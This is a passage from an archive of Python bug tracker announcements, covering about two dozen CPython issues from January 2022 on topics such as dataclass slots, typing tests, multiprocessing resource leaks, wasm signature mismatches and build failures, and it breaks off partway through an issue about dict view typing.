"when='midnight'" and interval > 1, midnight is handled equally to "days" which is a little misleading. Expectation: setting when to 'midnight', the file is rotated every midnight (interval value should be ignored) Current behavior: If 'midnight' is given alongside with an interval greater than 1 (.e.g 5), the (internal) interval (24*60*60) is calculated with the given interval -> 24*60*60 * 5. In my case, this led to some unforeseeable and unexpected behavior. ---------- components: Library (Lib) messages: 410558 nosy: mschiess, vinay.sajip priority: normal severity: normal status: open title: TimedRotatingFileHandler "midnight" misleading when interval > 1 type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 11:11:27 2022 From: report at bugs.python.org (Dong-hee Na) Date: Fri, 14 Jan 2022 16:11:27 +0000 Subject: [New-bugs-announce] [issue46378] Experiment with LLVM BOLT binary optimizer Message-ID: <1642176687.21.0.496800066458.issue46378@roundup.psfhosted.org> New submission from Dong-hee Na : Just experiment how it will be worth :) Thread: https://github.com/faster-cpython/ideas/issues/224 ---------- assignee: corona10 messages: 410570 nosy: corona10 priority: normal severity: normal status: open title: Experiment with LLVM BOLT binary optimizer type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:41:54 2022 From: report at bugs.python.org (Markus Wallerberger) Date: Fri, 14 Jan 2022 17:41:54 +0000 Subject: [New-bugs-announce] [issue46379] itertools.product reference implementation creates temporaries Message-ID: <1642182114.77.0.464829533122.issue46379@roundup.psfhosted.org> New submission from Markus Wallerberger : The reference implementation of itertools.product creates large temporaries, which we need to remind people of at the top of the code block. However, using generator magic, we don't need to do this and can even simplify the code in the process! Basically,we iterate over a generator of product(*seq[:-1]), and extend each of the values by every value in seq[-1]. ---------- assignee: docs at python components: Documentation messages: 410573 nosy: docs at python, mwallerb priority: normal severity: normal status: open title: itertools.product reference implementation creates temporaries type: enhancement versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:57:34 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 14 Jan 2022 17:57:34 +0000 Subject: [New-bugs-announce] [issue46380] `test_functools.TestLRU` must not use `functools` module directly Message-ID: <1642183054.5.0.671843875323.issue46380@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now there are two tests in Lib/test/test_functools.py that use `functools.lru_cache` directly: 1. https://github.com/python/cpython/blame/73140de97cbeb01bb6c9af1da89ecb9355921e91/Lib/test/test_functools.py#L1417 2. https://github.com/python/cpython/blame/73140de97cbeb01bb6c9af1da89ecb9355921e91/Lib/test/test_functools.py#L1429 But, I don't think it is correct. Why? ```python class TestLRUPy(TestLRU, unittest.TestCase): module = py_functools class TestLRUC(TestLRU, unittest.TestCase): module = c_functools ``` Source: https://github.com/python/cpython/blame/73140de97cbeb01bb6c9af1da89ecb9355921e91/Lib/test/test_functools.py#L1798-L1823 So, what can we do? 1. Use `self.module.lru_cache` instead (I think it is the right way) 2. Move them to `TestLRUPy`, but I don't think they should be python-specific ---------- components: Tests messages: 410579 nosy: sobolevn priority: normal severity: normal status: open title: `test_functools.TestLRU` must not use `functools` module directly type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:38:16 2022 From: report at bugs.python.org (=?utf-8?q?Matthias_K=C3=B6ppe?=) Date: Fri, 14 Jan 2022 18:38:16 +0000 Subject: [New-bugs-announce] [issue46381] Improve documentation of CFLAGS_NODIST, LDFLAGS_NODIST Message-ID: <1642185496.49.0.558821862955.issue46381@roundup.psfhosted.org> New submission from Matthias K?ppe : The documentation of - https://docs.python.org/3.11/using/configure.html#envvar-CFLAGS - https://docs.python.org/3.11/using/configure.html#envvar-CFLAGS_NODIST - https://docs.python.org/3.11/using/configure.html#envvar-LDFLAGS - https://docs.python.org/3.11/using/configure.html#envvar-LDFLAGS_NODIST should explain more clearly that flags such as `-I`, `-L`, etc. and strict compiler flags such as `-Werror...` should not be put into `CFLAGS`, `LDFLAGS`, or it will make the resulting Python unusable for compiling user packages with extension modules via `distutils` and `setuptools`. Various downstream packagers have provided misconfigured Pythons: - Homebrew (https://trac.sagemath.org/ticket/31132, https://github.com/Homebrew/homebrew-core/pull/68528, resolved) - Cygwin (https://trac.sagemath.org/ticket/33078, https://cygwin.com/pipermail/cygwin/2021-December/250302.html, resolved in a proposed package update) - pyenv (https://trac.sagemath.org/ticket/32531, https://github.com/pyenv/pyenv/issues/2204, open) So this appears to be a documentation / user education issue in CPython. ---------- assignee: docs at python components: Documentation messages: 410586 nosy: docs at python, matthiaskoeppe priority: normal severity: normal status: open title: Improve documentation of CFLAGS_NODIST, LDFLAGS_NODIST type: enhancement versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:31:43 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Fri, 14 Jan 2022 19:31:43 +0000 Subject: [New-bugs-announce] [issue46382] dataclass(slots=True) does not account for slots in base classes Message-ID: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> New submission from Arie Bovenberg : @dataclass(slots=True) adds slots to dataclasses. It adds a slot per field. However, it doesn't account for slots already present in base classes: >>> class Base: ... __slots__ = ('a', ) ... >>> @dataclass(slots=True) ... class Foo(Base): ... a: int ... b: float ... >>> Foo.__slots__ ('a', 'b') # should be: ('b', ) The __slots__ documentation says: If a class defines a slot also defined in a base class, the instance variable defined by the base class slot is inaccessible (except by retrieving its descriptor directly from the base class). This renders the meaning of the program undefined. In the future, a check may be added to prevent this. Solution: don't add slots which are already defined in any base classes: >>> @dataclass ... class Bla(Base): ... __slots__ = ('b', ) ... a: int ... b: float ... >>> Bla(4, 5.65) Bla(a=4, b=5.65) If you agree, I'd like to submit a PR to fix this. I already have a prototype working. ---------- components: Library (Lib) messages: 410591 nosy: ariebovenberg priority: normal severity: normal status: open title: dataclass(slots=True) does not account for slots in base classes type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:51:10 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 Jan 2022 19:51:10 +0000 Subject: [New-bugs-announce] [issue46383] _zoneinfo module_free has invalid function signature Message-ID: <1642189870.23.0.585982276736.issue46383@roundup.psfhosted.org> New submission from Christian Heimes : The zoneinfo C extension has the "freefunc m_free" function with signature "static void module_free(void)". The signature of freefunc is "void (*freefunc)(void *)". It takes a void * argument, but module_free() does not. The signature mismatch is not a problem for most C compilers. But Web Assembly is more strict. wasm32-emscripten fails and aborts at runtime: worker.js onmessage() captured an uncaught exception: RuntimeError: function signature mismatch Pthread 0x8a1df0 sent an error! undefined:undefined: function signature mismatch /python-wasm/cpython/builddir/node/python.js:158 throw ex; ^ Error [RuntimeError]: function signature mismatch at module_dealloc (:wasm-function[1883]:0x9a15e) at _Py_Dealloc (:wasm-function[1959]:0x9eabe) at insertdict (:wasm-function[1624]:0x87ccb) at _PyDict_SetItem_Take2 (:wasm-function[1622]:0x8749c) at dict_ass_sub (:wasm-function[1708]:0x8e604) at PyObject_SetItem (:wasm-function[486]:0x34221) at finalize_modules (:wasm-function[3644]:0x1703d0) at Py_FinalizeEx (:wasm-function[3641]:0x16f986) at Py_RunMain (:wasm-function[4055]:0x191124) at pymain_main (:wasm-function[4058]:0x19174d) Emitted 'error' event on process instance at: at emitUnhandledRejectionOrErr (internal/event_target.js:579:11) at MessagePort.[nodejs.internal.kHybridDispatch] (internal/event_target.js:403:9) at MessagePort.exports.emitMessage (internal/per_context/messageport.js:18:26) ---------- assignee: christian.heimes components: Extension Modules messages: 410594 nosy: christian.heimes, p-ganssle priority: normal severity: normal status: open title: _zoneinfo module_free has invalid function signature type: crash versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 21:25:06 2022 From: report at bugs.python.org (Hiroshi Miura) Date: Sat, 15 Jan 2022 02:25:06 +0000 Subject: [New-bugs-announce] [issue46384] Request: make lzma._(encode|decode)_filter_properties public Message-ID: <1642213506.86.0.00175227794974.issue46384@roundup.psfhosted.org> New submission from Hiroshi Miura : py7zr 3rd party project that use lzma module to compress/decompress 7-zip archive uses lzma._(encode|decode)_filter_properties. These methods are public at first but become private in py3.4 at commit a425c3d5a264c556d31bdd88097c79246b533ea3 Here is a reason described in commit comment > These functions were originally added to support LZMA compression in the zipfile module, and are not of interest for the majority of users. This is a request these methods to be public. ref: py7zr: https://github.com/miurahr/py7zr ---------- components: Library (Lib) messages: 410615 nosy: miurahr priority: normal severity: normal status: open title: Request: make lzma._(encode|decode)_filter_properties public type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 21:50:23 2022 From: report at bugs.python.org (Devin Harper) Date: Sat, 15 Jan 2022 02:50:23 +0000 Subject: [New-bugs-announce] [issue46385] Remove parenthetical symbols for readability and nlp Message-ID: <1642215023.68.0.0629271739677.issue46385@roundup.psfhosted.org> New submission from Devin Harper <345trig at gmail.com>: Parenthetical symbols like ()[]{} are unneeded if you just remove the complaining in the compiler/interpreter/programming language. It will increase readability and natural language programming( NLP). Just treat the symbols as strings and optional even for lists removing tuples. Tuples are unneeded too. Lists have everything tuples have and more. ---------- components: Tests messages: 410616 nosy: 345trig priority: normal severity: normal status: open title: Remove parenthetical symbols for readability and nlp type: compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:08:28 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 15 Jan 2022 10:08:28 +0000 Subject: [New-bugs-announce] [issue46386] Improve `test_typing::test_immutability_by_copy_and_pickle` Message-ID: <1642241308.05.0.615594550781.issue46386@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several problems with this test: https://github.com/python/cpython/blob/d02c5e9b55a8651b7d396ac3f2bdedf1fc1780b5/Lib/test/test_typing.py#L2130 1. It does not test all `pickle` protocols 2. It does not test newly added `ParamSpec` (probably others, I will double check) 3. It does not clean up `global TP, TPB, TPV` I will send a PR for this :) ---------- components: Tests messages: 410636 nosy: sobolevn priority: normal severity: normal status: open title: Improve `test_typing::test_immutability_by_copy_and_pickle` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:22:39 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 15 Jan 2022 10:22:39 +0000 Subject: [New-bugs-announce] [issue46387] `test_field_descriptor` in `test_collections` should test all pickle protocols Message-ID: <1642242159.17.0.460124479222.issue46387@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now this test does not test all pickle protocols: https://github.com/python/cpython/blob/d02c5e9b55a8651b7d396ac3f2bdedf1fc1780b5/Lib/test/test_collections.py#L680-L682 But, I guess that it should, like all other tests do. PR is on its way. ---------- components: Tests messages: 410638 nosy: sobolevn priority: normal severity: normal status: open title: `test_field_descriptor` in `test_collections` should test all pickle protocols type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:55:47 2022 From: report at bugs.python.org (Russel Webber) Date: Sat, 15 Jan 2022 10:55:47 +0000 Subject: [New-bugs-announce] [issue46388] Improve test coverage of functools.total_ordering Message-ID: <1642244147.78.0.364663520493.issue46388@roundup.psfhosted.org> New submission from Russel Webber : A few lines of the functools.total_ordering implementation are not covered by the tests. Specifically, coverage.py shows the returns of NotImplemented: ... if op_result is NotImplemented: return op_result ... as not covered in the functions: _gt_from_lt, _ge_from_le, _lt_from_le, _lt_from_gt, _le_from_ge and _gt_from_ge I have a PR for this. ---------- components: Tests messages: 410639 nosy: RusselWebber, rhettinger priority: normal severity: normal status: open title: Improve test coverage of functools.total_ordering type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 07:26:22 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sat, 15 Jan 2022 12:26:22 +0000 Subject: [New-bugs-announce] [issue46389] 3.11: unused generator comprehensions cause f_lineno==None Message-ID: <1642249582.51.0.604668369809.issue46389@roundup.psfhosted.org> New submission from Ned Batchelder : In Python 3.11, unused generator comprehensions cause trace events with f_lineno set to None. ---- %< ------------------------------------------------- import linecache, sys def trace(frame, event, arg): # The weird globals here is to avoid a NameError on shutdown... if frame.f_code.co_filename == globals().get("__file__"): lineno = frame.f_lineno if lineno is not None: line = linecache.getline(__file__, lineno).rstrip() else: line = "" print("{} {!s:4}: {}".format(event[:4], lineno, line)) return trace print(sys.version) sys.settrace(trace) (i for i in [1]) ------------------------------------------------------ $ python3.10 /tmp/runbpo.py 3.10.2 (main, Jan 15 2022, 05:51:59) [Clang 12.0.0 (clang-1200.0.32.29)] call 17 : (i for i in [1]) exce 17 : (i for i in [1]) retu 17 : (i for i in [1]) $ python3.11 /tmp/runbpo.py 3.11.0a4 (main, Jan 14 2022, 18:14:29) [Clang 12.0.0 (clang-1200.0.32.29)] call None: exce None: retu None: ---------- components: Interpreter Core keywords: 3.11regression messages: 410643 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: 3.11: unused generator comprehensions cause f_lineno==None versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 07:56:24 2022 From: report at bugs.python.org (Christian Heimes) Date: Sat, 15 Jan 2022 12:56:24 +0000 Subject: [New-bugs-announce] [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 Message-ID: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> New submission from Christian Heimes : I'm getting multiple test failures with latest Alpine 3.15 and musl-1.2.2-r7. Some test failures may be caused by wrong assumptions in our tests, some might be bugs in musl lib.c 9 tests failed: test__locale test_c_locale_coercion test_cmd_line test_gdb test_locale test_os test_posix test_re test_selectors I have attached the output of ./python -m test -v test__locale test_c_locale_coercion test_cmd_line test_gdb test_locale test_os test_posix test_re test_selectors 2>&1 | tee alpine315-tests.txt You can use my container to reproduce the test failures: $ podman run --privileged -ti --rm -v $(pwd):/cpython:Z quay.io/tiran/cpythonbuild:alpine-3.15 /bin/sh # /cmd.sh # cd /cpython/builddep/alpine-3.15-x86_64/ # make test ---------- components: Build, Tests files: alpine315-tests.txt messages: 410645 nosy: christian.heimes priority: normal severity: normal status: open title: Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 type: behavior versions: Python 3.11 Added file: https://bugs.python.org/file50562/alpine315-tests.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 13:04:57 2022 From: report at bugs.python.org (XD Trol) Date: Sat, 15 Jan 2022 18:04:57 +0000 Subject: [New-bugs-announce] [issue46391] Library multiprocess leaks named resources. Message-ID: <1642269897.29.0.322439501259.issue46391@roundup.psfhosted.org> New submission from XD Trol : Repo is the standard tool that Google uses to build Android, Chrome OS, Chromium, etc, written in Python. Many Repo users have encountered resource leak warnings with Python 3.9. https://bugs.chromium.org/p/gerrit/issues/detail?id=14934&q=component%3Arepo&can=5 I did some work and found that the problem is not caused by the code of Repo, but a bug of the Python library, multiprocess. To make it simple, the Python script below leaks named resource even when exiting normally. (And be unlinked by resource_tracker with a warning. ) ``` import multiprocessing as mp global_resource = mp.Semaphore() def submain(): pass if __name__ == '__main__': p = mp.Process(target=submain) p.start() p.join() ``` Tested on macOS with Python 3.9.7 > python test.py resource_tracker: There appear to be 1 leaked semaphore objects to clean up at shutdown. This bug will 100% reproduce when then main module uses named resources as global variables and uses `spawn` context, which is the case of Repo on macOS. This is caused by multiprocess::BaseProcess::_bootstrap. When a new process is started with multiprocessing.Process.start() in `spawn` context. 1. The main module is reloaded in the subprocess (for pickle) in multiprocessing::spawn::_main. 2. Named resources (such as the semaphore above) in the main module resister their _cleanup into multiprocessing::util::_finalizer_registry, which unlink themselves. 3. multiprocess::BaseProcess::_bootstrap then clears _finalizer_registry. When a subprocess is spawned, it is no need to clear util::_finalizer_registry (and no need to call util::_run_after_forkers). Disable clearing _finalizer_registry (and disable call to _run_after_forkers) should fix this bug without breaking anything else. And I uploaded a MR. ---------- components: Library (Lib) messages: 410654 nosy: milestonejxd priority: normal severity: normal status: open title: Library multiprocess leaks named resources. type: resource usage versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 19:16:30 2022 From: report at bugs.python.org (bpoaugust) Date: Sun, 16 Jan 2022 00:16:30 +0000 Subject: [New-bugs-announce] [issue46392] MessageIDHeader is too strict for message-id Message-ID: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org> New submission from bpoaugust : The email headerregistry class MessageIDHeader is too strict when parsing existing Message-Ids. It can truncate Message-Ids that are valid according to the obsolete rules. As the saying has it: "Be liberal in what you accept, and conservative in what you send." I think the parser should be much closer to the UnstructuredHeader. ---------- components: email messages: 410665 nosy: barry, bpoaugust, r.david.murray priority: normal severity: normal status: open title: MessageIDHeader is too strict for message-id _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 22:11:25 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 03:11:25 +0000 Subject: [New-bugs-announce] [issue46393] Generate frozenset constants when explicitly appropriate Message-ID: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org> New submission from Terry J. Reedy : The CPython compiler is capable of making frozenset constants without being explicitly asked to. Exactly how it does so is, of course, 'hidden' from python code. With current main: . >>> dis('{1,2,3}') 1 0 BUILD_SET 0 2 LOAD_CONST 0 (frozenset({1, 2, 3})) 4 SET_UPDATE 1 6 RETURN_VALUE Suppose one wants actually wants a frozenset, not a mutable set. 'frozenset({1,2,3})' is compiled as the above followed by a frozenset call -- making an unneeded double conversion to get what already exists. To avoid the intermediate set, one can use a constant tuple instead. >>> dis('frozenset((1,2,3))') 1 0 LOAD_NAME 0 (frozenset) 2 LOAD_CONST 0 ((1, 2, 3)) 4 CALL_FUNCTION 1 6 RETURN_VALUE Even nicer would be 1 0 (frozenset({1, 2, 3})) 2 RETURN_VALUE 'set((1,2,3))' is compiled the same as 'frozenset((1,2,3)), but frozenset does not having the option is using a more efficient display form. I cannot think of any reason to not call frozenset during compile time when the iterable is a constant tuple. Serhiy, I not sure how this relates to your issue 33318 and the discussion therein about stages, but it does relate to your interest in compile time constants. ---------- components: Interpreter Core messages: 410666 nosy: serhiy.storchaka, terry.reedy priority: normal severity: normal stage: test needed status: open title: Generate frozenset constants when explicitly appropriate type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:14:46 2022 From: report at bugs.python.org (Tomasz Kloczko) Date: Sun, 16 Jan 2022 08:14:46 +0000 Subject: [New-bugs-announce] [issue46394] 3.8.12: build fails because during handling of the above exception, another exception occurred Message-ID: <1642320886.94.0.0168418386231.issue46394@roundup.psfhosted.org> New submission from Tomasz Kloczko : Looks like it is some 3.8.12 build issue. /usr/bin/gcc -c -fPIC -DDYNAMIC_ANNOTATIONS_ENABLED=1 -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -fstack-protector-strong -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -D_GNU_SOURCE -fPIC -fwrapv -ffat-lto-objects -D_GNU_SOURCE -fPIC -fwrapv -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -D_GNU_SOURCE -fPIC -fwrapv -ffat-lto-objects -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -D_GNU_SOURCE -fPIC -fwrapv -ffat-lto-objects -Og -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -D_GNU_SOURCE -fPIC -fwrapv -ffat-lto-objects -fno-semantic-interposition -flto -fuse-linker-plugin -ffat-lto-objects -flto-partition=none -g -Og -I../Include/internal -IObjects -IInclude -IPython -I. -I../Include -fPIC -DPy_BUILD_CORE -o Modules/_math.o ../Modules/_math.c LD_LIBRARY_PATH=/home/tkloczko/rpmbuild/BUILD/Python-3.8.12/build-debug CC='/usr/bin/gcc' LDSHARED='/usr/bin/gcc -shared -Wl,-z,relro -Wl,--as-needed -Wl,--gc-sections -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -flto=auto -flto-partition=none -fuse-linker-plugin -Wl,--build-id=sha1 -Wl,-z,relro -Wl,--as-needed -Wl,--gc-sections -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -flto=auto -flto-partition=none -fuse-linker-plugin -Wl,--build-id=sha1 -flto -fuse-linker-plugin -ffat-lto-objects -flto-partition=none -g ' OPT='-DDYNAMIC_ANNOTATIONS_ENABLED=1 -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -fstack-protector-strong -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -D_GNU_SOURCE -fPIC -fwrapv -ffat-lto-objects -D_GNU_SOURCE -fPIC -fwrapv' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python -E ../setup.py build Traceback (most recent call last): File "/home/tkloczko/rpmbuild/BUILD/Python-3.8.12/Lib/subprocess.py", line 64, in import msvcrt ModuleNotFoundError: No module named 'msvcrt' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "../setup.py", line 14, in from distutils import log File "/usr/lib/python3.8/site-packages/_distutils_hack/__init__.py", line 92, in create_module return importlib.import_module('setuptools._distutils') File "/home/tkloczko/rpmbuild/BUILD/Python-3.8.12/Lib/importlib/__init__.py", line 127, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "/usr/lib/python3.8/site-packages/setuptools/__init__.py", line 8, in import _distutils_hack.override # noqa: F401 File "/usr/lib/python3.8/site-packages/_distutils_hack/override.py", line 1, in __import__('_distutils_hack').do_override() File "/usr/lib/python3.8/site-packages/_distutils_hack/__init__.py", line 73, in do_override ensure_local_distutils() File "/usr/lib/python3.8/site-packages/_distutils_hack/__init__.py", line 60, in ensure_local_distutils core = importlib.import_module('distutils.core') File "/home/tkloczko/rpmbuild/BUILD/Python-3.8.12/Lib/importlib/__init__.py", line 127, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "/usr/lib/python3.8/site-packages/setuptools/_distutils/core.py", line 17, in from distutils.dist import Distribution File "/usr/lib/python3.8/site-packages/setuptools/_distutils/dist.py", line 19, in from distutils.util import check_environ, strtobool, rfc822_escape File "/usr/lib/python3.8/site-packages/setuptools/_distutils/util.py", line 14, in from distutils.spawn import spawn File "/usr/lib/python3.8/site-packages/setuptools/_distutils/spawn.py", line 11, in import subprocess File "/home/tkloczko/rpmbuild/BUILD/Python-3.8.12/Lib/subprocess.py", line 69, in import _posixsubprocess ModuleNotFoundError: No module named '_posixsubprocess' make: *** [Makefile:617: sharedmods] Error 1 In the same build env latest 3.9 builds correctly. ---------- components: Build messages: 410680 nosy: kloczek priority: normal severity: normal status: open title: 3.8.12: build fails because during handling of the above exception, another exception occurred versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:27:37 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 16 Jan 2022 08:27:37 +0000 Subject: [New-bugs-announce] [issue46395] `Concatenate` is not covered to be a return type in `test_typing` Message-ID: <1642321657.38.0.740460399913.issue46395@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now all `Concatenate` tests do not cover `Callable[..., Concatenate]` case. Link: https://github.com/python/cpython/blob/09087b8519316608b85131ee7455b664c00c38d2/Lib/test/test_typing.py#L4862-L4877 I think, that this should be improved. It is an important case. PR is on its way. ---------- components: Tests messages: 410681 nosy: sobolevn priority: normal severity: normal status: open title: `Concatenate` is not covered to be a return type in `test_typing` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:38:58 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 16 Jan 2022 08:38:58 +0000 Subject: [New-bugs-announce] [issue46396] Invalid usage of `Concatenate` is not covered at all Message-ID: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now if I remove these lines: ```python if parameters == (): raise TypeError("Cannot take a Concatenate of no types.") if not isinstance(parameters, tuple): parameters = (parameters,) if not isinstance(parameters[-1], ParamSpec): raise TypeError("The last parameter to Concatenate should be a " "ParamSpec variable.") ``` from here: https://github.com/python/cpython/blob/09087b8519316608b85131ee7455b664c00c38d2/Lib/typing.py#L601-L607 And run the test suite - it passes. To increase coverage I plan to: 1. Add a test for empty `Concatenate[]` 2. Add a test case when `ParamSpec` is not the last item of `Concatenate` 3. When passed parameter to `Concatenate` is not `tuple` PR is on its way :) ---------- components: Tests messages: 410682 nosy: sobolevn priority: normal severity: normal status: open title: Invalid usage of `Concatenate` is not covered at all type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 04:44:55 2022 From: report at bugs.python.org (Anh Dang) Date: Sun, 16 Jan 2022 09:44:55 +0000 Subject: [New-bugs-announce] [issue46397] urllib.parse.urlencode() return wrong character Message-ID: <1642326295.37.0.140751306848.issue46397@roundup.psfhosted.org> New submission from Anh Dang : urllib.parse.urlencode() return "%2F%3F" instead of "/?" ---------- components: Library (Lib) files: urllib_issue.py messages: 410687 nosy: scratch priority: normal severity: normal status: open title: urllib.parse.urlencode() return wrong character versions: Python 3.9 Added file: https://bugs.python.org/file50563/urllib_issue.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 08:51:26 2022 From: report at bugs.python.org (David CARLIER) Date: Sun, 16 Jan 2022 13:51:26 +0000 Subject: [New-bugs-announce] [issue46398] posixshmem module shm_rename freebsd support. Message-ID: <1642341086.32.0.156217071225.issue46398@roundup.psfhosted.org> Change by David CARLIER : ---------- components: FreeBSD nosy: devnexen, koobs, vstinner priority: normal pull_requests: 28825 severity: normal status: open title: posixshmem module shm_rename freebsd support. type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 08:55:19 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 16 Jan 2022 13:55:19 +0000 Subject: [New-bugs-announce] [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers Message-ID: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> New submission from Alex Waygood : Issue40890 added a new `.mapping` attribute to dict_keys, dict_values and dict_items in 3.10. This addition is great for introspection. However, it has inadvertently caused some unexpected problems for type-checkers. Prior to Issue40890, the typeshed stub for the three `dict` methods was something like this: ``` from typing import MutableMapping, KeysView, ItemsView, ValuesView, TypeVar _KT = TypeVar("_KT") _VT = TypeVar("_VT") class dict(MutableMapping[_KT, _VT]): def keys(self) -> KeysView[_KT]: ... def values(self) -> ValuesView[_VT]: ... def items(self) -> ItemsView[_KT, _VT]: ... ``` In other words, typeshed did not acknowledge the existence of a "dict_keys" class at all. Instead, it viewed the precise class as an implementation detail, and merely stated in the stub that `dict.keys()` would return some class that implemented the `KeysView` interface. After Issue40890, however, it was clear that this approach would no longer suffice, as mypy (and other type-checkers) would yield false-positive errors for the following code: ``` m = dict().keys().mapping ``` Following several PRs, the typeshed stub for these `dict` methods now looks something like this: ``` # _collections_abc.pyi import sys from types import MappingProxyType from typing import Generic, KeysView, ValuesView, ItemsView, TypeVar, final _KT_co = TypeVar("_KT_co", covariant=True) _VT_co = TypeVar("_VT_co", covariant=True) @final class dict_keys(KeysView[_KT_co], Generic[_KT_co, _VT_co]): if sys.version_info >= (3, 10): mapping: MappingProxyType[_KT_co, _VT_co] @final class dict_values(ValuesView[_VT_co], Generic[_KT_co, _VT_co]): if sys.version_info >= (3, 10): mapping: MappingProxyType[_KT_co, _VT_co] @final class dict_items(ItemsView[_KT_co, _VT_co], Generic[_KT_co, _VT_co]): if sys.version_info >= (3, 10): mapping: MappingProxyType[_KT_co, _VT_co] # builtins.pyi from _collections_abc import dict_keys, dict_views, dict_items from typing import MutableMapping, TypeVar _KT = TypeVar("_KT") _VT = TypeVar("_VT") class dict(MutableMapping[_KT, _VT]): def keys(self) -> dict_keys[KT, VT]: ... def values(self) -> dict_values[_KT, _VT]: ... def items(self) -> dict_items[_KT, _VT]: ... ``` The alteration to the typeshed stub means that mypy will no longer give false-positive errors for code in which a user attempts to access the `mapping` 